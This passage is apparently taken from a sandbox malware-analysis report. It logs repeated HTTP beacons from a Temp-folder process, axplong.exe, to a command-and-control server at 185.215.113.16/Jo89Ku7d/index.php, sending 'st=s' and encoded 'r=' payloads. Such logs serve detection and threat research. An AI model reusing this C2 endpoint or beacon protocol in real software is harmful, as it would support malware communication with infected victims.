Sep 27, 2024 08:41:27.350527048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:27.351777077 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:27.582896948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	53675	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:27.693331957 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:28.416405916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:28.417171001 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:28.646837950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	53676	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:28.756463051 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:29.463371038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:29.465898991 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:29.880362034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	53677	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:29.992090940 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:30.702501059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:30.703308105 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:30.931937933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	53678	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:31.052244902 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:31.762780905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:31.763566971 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:31.990339041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	53679	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:32.099963903 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:32.820094109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:32.821197987 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:33.152426958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	53680	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:33.271615982 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:33.961616039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:33.967190981 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:34.189575911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	53681	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:34.305217981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:34.992479086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:34.994246960 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:35.216281891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	53682	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:35.334467888 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:36.028846025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:36.032551050 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:36.262620926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	53683	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:36.381267071 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:37.079862118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:37.081641912 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:37.309089899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	53684	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:37.428280115 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:38.118551016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:38.125179052 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:38.346129894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	53685	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:38.461518049 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:39.167851925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:39.169132948 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:39.684541941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 27, 2024 08:41:39.684638023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	53686	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:39.803195953 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:40.658236027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
